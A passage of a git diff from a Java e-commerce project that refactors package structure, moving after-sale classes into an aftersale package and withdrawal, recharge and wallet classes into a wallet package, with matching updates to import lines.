cn.lili.event.*; import cn.lili.modules.member.entity.dto.MemberPointMessage; -import cn.lili.modules.member.entity.dto.MemberWithdrawalMessage; -import cn.lili.modules.member.entity.enums.MemberWithdrawalDestinationEnum; +import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; +import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; import cn.lili.modules.member.entity.enums.PointTypeEnum; -import cn.lili.modules.member.entity.enums.WithdrawStatusEnum; +import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; import cn.lili.modules.message.entity.dto.NoticeMessageDTO; import cn.lili.modules.message.entity.enums.NoticeMessageNodeEnum; import cn.lili.modules.message.entity.enums.NoticeMessageParameterEnum; import cn.lili.modules.message.service.NoticeMessageService; import cn.lili.modules.order.cart.entity.dto.TradeDTO; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dto.OrderMessage; import cn.lili.modules.order.order.entity.enums.OrderPromotionTypeEnum; import cn.lili.modules.order.order.entity.vo.OrderDetailVO; diff --git a/consumer/src/main/java/cn/lili/listener/AfterSaleMessageListener.java b/consumer/src/main/java/cn/lili/listener/AfterSaleMessageListener.java index d950ac59..f578f755 100644 --- a/consumer/src/main/java/cn/lili/listener/AfterSaleMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/AfterSaleMessageListener.java @@ -3,7 +3,7 @@ package cn.lili.listener; import cn.hutool.json.JSONUtil; import cn.lili.rocketmq.tags.AfterSaleTagsEnum; import cn.lili.event.AfterSaleStatusChangeEvent; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import lombok.extern.slf4j.Slf4j; import org.apache.rocketmq.common.message.MessageExt; import org.apache.rocketmq.spring.annotation.RocketMQMessageListener; diff --git a/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java b/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java index 48800bb5..6ee7e9ba 100644 --- a/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/MemberMessageListener.java @@ -8,7 +8,7 @@ import cn.lili.event.MemberWithdrawalEvent; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.member.entity.dos.MemberSign; import cn.lili.modules.member.entity.dto.MemberPointMessage; -import cn.lili.modules.member.entity.dto.MemberWithdrawalMessage; +import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; import cn.lili.modules.member.service.MemberSignService; import lombok.extern.slf4j.Slf4j; import org.apache.rocketmq.common.message.MessageExt; diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java index 820d5aff..8bd3f095 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/order/OrderEveryDayTaskExecute.java @@ -15,7 +15,7 @@ import cn.lili.modules.order.order.entity.enums.OrderComplaintStatusEnum; import cn.lili.modules.order.order.entity.enums.OrderItemAfterSaleStatusEnum; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; import cn.lili.modules.order.order.mapper.OrderItemMapper; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.service.OrderItemService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.system.entity.dos.Setting; diff --git a/consumer/src/main/java/cn/lili/timetask/handler/impl/order/RechargeOrderTaskExecute.java b/consumer/src/main/java/cn/lili/timetask/handler/impl/order/RechargeOrderTaskExecute.java index b64f740c..a56cd22a 100644 --- a/consumer/src/main/java/cn/lili/timetask/handler/impl/order/RechargeOrderTaskExecute.java +++ b/consumer/src/main/java/cn/lili/timetask/handler/impl/order/RechargeOrderTaskExecute.java @@ -4,8 +4,8 @@ import cn.hutool.core.date.DateTime; import cn.hutool.core.date.DateUtil; import cn.hutool.json.JSONUtil; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; -import cn.lili.modules.order.trade.entity.dos.Recharge; -import cn.lili.modules.order.trade.service.RechargeService; +import cn.lili.modules.wallet.entity.dos.Recharge; +import cn.lili.modules.wallet.service.RechargeService; import cn.lili.modules.system.entity.dos.Setting; import cn.lili.modules.system.entity.dto.OrderSetting; import cn.lili.modules.system.entity.enums.SettingEnum; diff --git a/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionCash.java b/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionCash.java index b648f323..e04a5ff6 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionCash.java +++ b/framework/src/main/java/cn/lili/modules/distribution/entity/dos/DistributionCash.java @@ -1,6 +1,6 @@ package cn.lili.modules.distribution.entity.dos; -import cn.lili.modules.member.entity.enums.WithdrawStatusEnum; +import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; diff --git a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java index 8e3cefab..76c48943 100644 --- a/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/distribution/serviceimpl/DistributionCashServiceImpl.java @@ -2,7 +2,7 @@ package cn.lili.modules.distribution.serviceimpl; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; -import cn.lili.modules.member.entity.enums.WithdrawStatusEnum; +import cn.lili.modules.wallet.entity.enums.WithdrawStatusEnum; import cn.lili.rocketmq.RocketmqSendCallbackBuilder; import cn.lili.rocketmq.tags.MemberTagsEnum; import cn.lili.common.utils.CurrencyUtil; @@ -17,10 +17,10 @@ import cn.lili.modules.distribution.entity.vos.DistributionCashSearchParams; import cn.lili.modules.distribution.mapper.DistributionCashMapper; import cn.lili.modules.distribution.service.DistributionCashService; import cn.lili.modules.distribution.service.DistributionService; -import cn.lili.modules.member.entity.dto.MemberWithdrawalMessage; -import cn.lili.modules.member.entity.enums.MemberWithdrawalDestinationEnum; -import cn.lili.modules.member.service.MemberWalletService; -import cn.lili.modules.order.trade.entity.enums.DepositServiceTypeEnum; +import cn.lili.modules.wallet.entity.dto.MemberWithdrawalMessage; +import cn.lili.modules.wallet.entity.enums.MemberWithdrawalDestinationEnum; +import cn.lili.modules.wallet.service.MemberWalletService; +import cn.lili.modules.wallet.entity.enums.DepositServiceTypeEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.core.toolkit.Wrappers; diff --git a/framework/src/main/java/cn/lili/modules/order/order/aop/AfterSaleLogPoint.java b/framework/src/main/java/cn/lili/modules/order/aftersale/aop/AfterSaleLogPoint.java similarity index 90% rename from framework/src/main/java/cn/lili/modules/order/order/aop/AfterSaleLogPoint.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/aop/AfterSaleLogPoint.java index 7e3dccbe..1e6c2965 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/aop/AfterSaleLogPoint.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/aop/AfterSaleLogPoint.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.aop; +package cn.lili.modules.order.aftersale.aop; import java.lang.annotation.*; diff --git a/framework/src/main/java/cn/lili/modules/order/order/aop/AfterSaleOperationLogAspect.java b/framework/src/main/java/cn/lili/modules/order/aftersale/aop/AfterSaleOperationLogAspect.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/order/order/aop/AfterSaleOperationLogAspect.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/aop/AfterSaleOperationLogAspect.java index 43ee90aa..35487700 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/aop/AfterSaleOperationLogAspect.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/aop/AfterSaleOperationLogAspect.java @@ -1,12 +1,12 @@ -package cn.lili.modules.order.order.aop; +package cn.lili.modules.order.aftersale.aop; import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; import cn.lili.common.utils.SpelUtil; import cn.lili.common.utils.ThreadPoolUtil; -import cn.lili.modules.order.order.service.AfterSaleLogService; -import cn.lili.modules.order.trade.entity.dos.AfterSaleLog; +import cn.lili.modules.order.aftersale.service.AfterSaleLogService; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleLog; import lombok.extern.slf4j.Slf4j; import org.aspectj.lang.JoinPoint; import org.aspectj.lang.annotation.AfterReturning; @@ -32,7 +32,7 @@ public class AfterSaleOperationLogAspect { @Autowired private AfterSaleLogService afterSaleLogService; - @AfterReturning(returning = "rvt", pointcut = "@annotation(cn.lili.modules.order.order.aop.AfterSaleLogPoint)") + @AfterReturning(returning = "rvt", pointcut = "@annotation(cn.lili.modules.order.aftersale.aop.AfterSaleLogPoint)") public void afterReturning(JoinPoint joinPoint, Object rvt) { try { AuthUser auth = UserContext.getCurrentUser(); diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/AfterSale.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSale.java similarity index 98% rename from framework/src/main/java/cn/lili/modules/order/order/entity/dos/AfterSale.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSale.java index 55ddb87a..8d668bc0 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/AfterSale.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSale.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.entity.dos; +package cn.lili.modules.order.aftersale.entity.dos; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/order/trade/entity/dos/AfterSaleLog.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSaleLog.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/order/trade/entity/dos/AfterSaleLog.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSaleLog.java index 046391c7..af5bb3e1 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/entity/dos/AfterSaleLog.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSaleLog.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.trade.entity.dos; +package cn.lili.modules.order.aftersale.entity.dos; import cn.lili.common.security.enums.UserEnums; import cn.lili.mybatis.BaseIdEntity; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/AfterSaleReason.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSaleReason.java similarity index 93% rename from framework/src/main/java/cn/lili/modules/order/order/entity/dos/AfterSaleReason.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSaleReason.java index b9b0dd41..e0370f1e 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/AfterSaleReason.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dos/AfterSaleReason.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.entity.dos; +package cn.lili.modules.order.aftersale.entity.dos; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSaleDTO.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSaleDTO.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSaleDTO.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSaleDTO.java index 20e110c7..09c39259 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSaleDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSaleDTO.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.entity.dto; +package cn.lili.modules.order.aftersale.entity.dto; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java index b442dd83..e901c862 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dto/AfterSalePriceDetailDTO.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/dto/AfterSalePriceDetailDTO.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.entity.dto; +package cn.lili.modules.order.aftersale.entity.dto; import cn.lili.modules.promotion.entity.dto.BasePromotion; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/enums/ComplaintStatusEnum.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/enums/ComplaintStatusEnum.java similarity index 92% rename from framework/src/main/java/cn/lili/modules/order/order/entity/enums/ComplaintStatusEnum.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/enums/ComplaintStatusEnum.java index 6877ec75..67d173bf 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/enums/ComplaintStatusEnum.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/enums/ComplaintStatusEnum.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.entity.enums; +package cn.lili.modules.order.aftersale.entity.enums; /** * 交易投诉状态 diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleAllowOperation.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleAllowOperation.java similarity index 94% rename from framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleAllowOperation.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleAllowOperation.java index b830279a..cc449ad1 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleAllowOperation.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleAllowOperation.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.order.entity.vo; +package cn.lili.modules.order.aftersale.entity.vo; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.trade.entity.enums.AfterSaleStatusEnum; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleApplyVO.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleApplyVO.java similarity index 96% rename from framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleApplyVO.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleApplyVO.java index a05a416f..6ad0b21e 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleApplyVO.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleApplyVO.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.entity.vo; +package cn.lili.modules.order.aftersale.entity.vo; import io.swagger.annotations.ApiModelProperty; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleSearchParams.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java similarity index 98% rename from framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleSearchParams.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java index 1da92246..6c8bfcd1 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleSearchParams.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.entity.vo; +package cn.lili.modules.order.aftersale.entity.vo; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleVO.java b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java similarity index 79% rename from framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleVO.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java index 4fdc10b5..c5040db4 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/AfterSaleVO.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/entity/vo/AfterSaleVO.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.order.entity.vo; +package cn.lili.modules.order.aftersale.entity.vo; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import jdk.nashorn.internal.objects.annotations.Getter; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/order/trade/mapper/AfterSaleLogMapper.java b/framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleLogMapper.java similarity index 66% rename from framework/src/main/java/cn/lili/modules/order/trade/mapper/AfterSaleLogMapper.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleLogMapper.java index 4bb728e3..a1f59f19 100644 --- a/framework/src/main/java/cn/lili/modules/order/trade/mapper/AfterSaleLogMapper.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleLogMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.trade.mapper; +package cn.lili.modules.order.aftersale.mapper; -import cn.lili.modules.order.trade.entity.dos.AfterSaleLog; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleLog; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/order/order/mapper/AfterSaleMapper.java b/framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleMapper.java similarity index 85% rename from framework/src/main/java/cn/lili/modules/order/order/mapper/AfterSaleMapper.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleMapper.java index 9ee2ceb3..7cad30d5 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/mapper/AfterSaleMapper.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleMapper.java @@ -1,7 +1,7 @@ -package cn.lili.modules.order.order.mapper; +package cn.lili.modules.order.aftersale.mapper; -import cn.lili.modules.order.order.entity.dos.AfterSale; -import cn.lili.modules.order.order.entity.vo.AfterSaleVO; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleVO; import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.baomidou.mybatisplus.core.metadata.IPage; diff --git a/framework/src/main/java/cn/lili/modules/order/order/mapper/AfterSaleReasonMapper.java b/framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleReasonMapper.java similarity index 66% rename from framework/src/main/java/cn/lili/modules/order/order/mapper/AfterSaleReasonMapper.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleReasonMapper.java index 2cfe9d2f..a1298b83 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/mapper/AfterSaleReasonMapper.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/mapper/AfterSaleReasonMapper.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.order.mapper; +package cn.lili.modules.order.aftersale.mapper; -import cn.lili.modules.order.order.entity.dos.AfterSaleReason; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleReason; import com.baomidou.mybatisplus.core.mapper.BaseMapper; /** diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleLogService.java b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleLogService.java similarity index 78% rename from framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleLogService.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleLogService.java index a5a19a7f..dc7ddf71 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleLogService.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleLogService.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.order.service; +package cn.lili.modules.order.aftersale.service; -import cn.lili.modules.order.trade.entity.dos.AfterSaleLog; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleLog; import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleReasonService.java b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleReasonService.java similarity index 83% rename from framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleReasonService.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleReasonService.java index 54ae530d..eee8437e 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleReasonService.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleReasonService.java @@ -1,6 +1,6 @@ -package cn.lili.modules.order.order.service; +package cn.lili.modules.order.aftersale.service; -import cn.lili.modules.order.order.entity.dos.AfterSaleReason; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleReason; import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; diff --git a/framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleService.java b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java similarity index 91% rename from framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleService.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java index 6af2ebe2..5c4a87b4 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/service/AfterSaleService.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/service/AfterSaleService.java @@ -1,12 +1,12 @@ -package cn.lili.modules.order.order.service; +package cn.lili.modules.order.aftersale.service; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.entity.dos.AfterSale; -import cn.lili.modules.order.order.entity.dto.AfterSaleDTO; -import cn.lili.modules.order.order.entity.vo.AfterSaleApplyVO; -import cn.lili.modules.order.order.entity.vo.AfterSaleSearchParams; -import cn.lili.modules.order.order.entity.vo.AfterSaleVO; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.entity.dto.AfterSaleDTO; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleApplyVO; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleSearchParams; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleVO; import cn.lili.modules.statistics.entity.dto.StatisticsQueryParam; import cn.lili.modules.store.entity.dto.StoreAfterSaleAddressDTO; import cn.lili.modules.system.entity.vo.Traces; diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleLogServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleLogServiceImpl.java similarity index 76% rename from framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleLogServiceImpl.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleLogServiceImpl.java index e35fd44f..219aee7a 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleLogServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleLogServiceImpl.java @@ -1,8 +1,8 @@ -package cn.lili.modules.order.order.serviceimpl; +package cn.lili.modules.order.aftersale.serviceimpl; -import cn.lili.modules.order.order.service.AfterSaleLogService; -import cn.lili.modules.order.trade.entity.dos.AfterSaleLog; -import cn.lili.modules.order.trade.mapper.AfterSaleLogMapper; +import cn.lili.modules.order.aftersale.service.AfterSaleLogService; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleLog; +import cn.lili.modules.order.aftersale.mapper.AfterSaleLogMapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleReasonServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleReasonServiceImpl.java similarity index 85% rename from framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleReasonServiceImpl.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleReasonServiceImpl.java index 991b38dc..df094942 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleReasonServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleReasonServiceImpl.java @@ -1,8 +1,8 @@ -package cn.lili.modules.order.order.serviceimpl; +package cn.lili.modules.order.aftersale.serviceimpl; -import cn.lili.modules.order.order.entity.dos.AfterSaleReason; -import cn.lili.modules.order.order.mapper.AfterSaleReasonMapper; -import cn.lili.modules.order.order.service.AfterSaleReasonService; +import cn.lili.modules.order.aftersale.entity.dos.AfterSaleReason; +import cn.lili.modules.order.aftersale.mapper.AfterSaleReasonMapper; +import cn.lili.modules.order.aftersale.service.AfterSaleReasonService; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.update.LambdaUpdateWrapper; import com.baomidou.mybatisplus.core.toolkit.Wrappers; diff --git a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleServiceImpl.java b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java similarity index 97% rename from framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleServiceImpl.java rename to framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java index 0c60b475..357039ac 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/serviceimpl/AfterSaleServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/order/aftersale/serviceimpl/AfterSaleServiceImpl.java @@ -1,4 +1,4 @@ -package cn.lili.modules.order.order.serviceimpl; +package cn.lili.modules.order.aftersale.serviceimpl; import cn.hutool.core.text.CharSequenceUtil; import cn.hutool.core.util.NumberUtil; @@ -13,20 +13,20 @@ import cn.lili.common.utils.BeanUtil; import cn.lili.common.utils.CurrencyUtil; import cn.lili.common.utils.SnowFlake; import cn.lili.common.vo.PageVO; -import cn.lili.modules.order.order.aop.AfterSaleLogPoint; -import cn.lili.modules.order.order.entity.dos.AfterSale; +import cn.lili.modules.order.aftersale.aop.AfterSaleLogPoint; +import cn.lili.modules.order.aftersale.entity.dos.AfterSale; import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.OrderItem; -import cn.lili.modules.order.order.entity.dto.AfterSaleDTO; +import cn.lili.modules.order.aftersale.entity.dto.AfterSaleDTO; import cn.lili.modules.order.order.entity.enums.OrderItemAfterSaleStatusEnum; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; import cn.lili.modules.order.order.entity.enums.OrderTypeEnum; import cn.lili.modules.order.order.entity.enums.PayStatusEnum; -import cn.lili.modules.order.order.entity.vo.AfterSaleApplyVO; -import cn.lili.modules.order.order.entity.vo.AfterSaleSearchParams; -import cn.lili.modules.order.order.entity.vo.AfterSaleVO; -import cn.lili.modules.order.order.mapper.AfterSaleMapper; -import cn.lili.modules.order.order.service.AfterSaleService; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleApplyVO; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleSearchParams; +import cn.lili.modules.order.aftersale.entity.vo.AfterSaleVO; +import cn.lili.modules.order.aftersale.mapper.AfterSaleMapper; +import cn.lili.modules.order.aftersale.service.AfterSaleService; import cn.lili.modules.order.order.service.OrderItemService; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.order.trade.entity.enums.AfterSaleRefundWayEnum; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderComplaint.java b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderComplaint.java index c125c8b6..9b3111de 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderComplaint.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/dos/OrderComplaint.java @@ -1,6 +1,6 @@ package cn.lili.modules.order.order.entity.dos; -import cn.lili.modules.order.order.entity.enums.ComplaintStatusEnum; +import cn.lili.modules.order.aftersale.entity.enums.ComplaintStatusEnum; import cn.lili.mybatis.BaseEntity; import com.baomidou.mybatisplus.annotation.TableName; import com.fasterxml.jackson.annotation.JsonFormat; diff --git a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/OrderComplaintSearchParams.java b/framework/src/main/java/cn/lili/modules/order/order/entity/vo/OrderComplaintSearchParams.java index 025e54cd..3c6211a1 100644 --- a/framework/src/main/java/cn/lili/modules/order/order/entity/vo/OrderComplaintSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/order/order/entity/vo/OrderComplaintSearchParams.java @@ -2,7 +2,7 @@ package cn.lili.modules.order.order.entity.vo; import cn.hutool.core.util.StrUtil; import 